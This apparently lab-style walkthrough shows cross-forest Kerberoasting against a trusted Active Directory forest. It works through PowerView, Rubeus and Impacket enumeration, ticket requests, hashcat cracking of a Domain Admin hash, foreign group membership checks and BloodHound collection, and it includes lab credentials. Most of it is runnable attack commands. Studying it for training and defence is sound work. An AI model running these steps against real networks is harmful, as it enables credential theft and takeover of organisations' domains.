Abusing Cross-Forest Trusts with Kerberoasting in Active Directory

Introduction

Active Directory forest trusts allow authentication between separate forests. While this is useful for enterprise environments, it also creates opportunities for attackers to pivot from one forest into another.

In this walkthrough, we abuse a bidirectional forest trust to perform:

• Cross-Forest Enumeration
• Cross-Forest Kerberoasting
• Foreign Group Membership Enumeration
• Privilege Escalation Across Forests

The attack is performed from both Windows and Linux environments.

Environment Overview

Assume we have two forests:

INLANEFREIGHT.LOCAL
        ↕ TRUST ↕
FREIGHTLOGISTICS.LOCAL

We already possess access to:

INLANEFREIGHT.LOCAL

Our goal is to abuse the trust relationship to attack:

FREIGHTLOGISTICS.LOCAL

Windows Attack Path

RDP Access

First, connect to the Windows attack host:

xfreerdp /u:htb-student /p:'Academy_student_AD!' /v:10.129.3.59

Transferring Required Tools

The Windows host does not contain:

• Rubeus
• PowerView

So we must transfer them manually.

Hosting Files from Kali

On Kali Linux:

cd /usr/share/windows-resources

Start a web server:

python3 -m http.server 8000

Downloading Rubeus

Inside PowerShell on the Windows host:

iwr http://YOUR-IP:8000/Rubeus.exe -OutFile Rubeus.exe

Downloading PowerView

iwr http://YOUR-IP:8000/PowerView.ps1 -OutFile PowerView.ps1

Import PowerView:

Import-Module .\PowerView.ps1

Enumerating SPN Accounts Across the Trust

Using PowerView:

Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

Result:

mssqlsvc

Checking group membership:

Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof

Result:

Domain Admins

This means the account is highly privileged inside the trusted forest.

Cross-Forest Kerberoasting with Rubeus

Now request a Kerberos TGS ticket:

.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

Result:

$krb5tgs$23$...

This is the Kerberoast hash.

Offline Password Cracking

Copy the hash to Kali Linux:

nano hash.txt

Crack the hash using Hashcat:

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

If successful, we recover credentials for a Domain Admin account in the trusted forest.

Linux Attack Path

The same attack can be performed entirely from Kali Linux using Impacket.

Enumerating SPN Accounts

GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley:Transporte2022

Result:

mssqlsvc

Requesting Kerberos Tickets

GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley:Transporte2022

Result:

$krb5tgs$23$...

Again, the hash can be cracked offline.

Why the Attack Works

The forest trust allows authentication across forests.

Because of this:

A user from Forest A
can request Kerberos tickets
from Forest B

This creates a powerful attack surface for Kerberoasting.

Foreign Group Membership Abuse

Another dangerous trust issue involves:

Foreign Group Membership

Sometimes administrators from one forest are directly added into privileged groups in another forest.

Using PowerView:

Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

Result:

INLANEFREIGHT\Administrator
        ↓
Administrators Group
        ↓
FREIGHTLOGISTICS.LOCAL

Meaning:

Administrator from Forest A
already has admin rights in Forest B

Enumerating Trust Relationships with bloodhound-python

From Kali Linux:

bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2

BloodHound helps identify:

• Cross-forest attack paths
• Foreign group membership
• Dangerous ACLs
• Trust relationships

Full Attack Flow

Compromise Forest A
        ↓
Enumerate Trust Relationships
        ↓
Identify SPN Accounts
        ↓
Cross-Forest Kerberoasting
        ↓
Offline Password Cracking
        ↓
Recover Domain Admin Credentials
        ↓
Compromise Forest B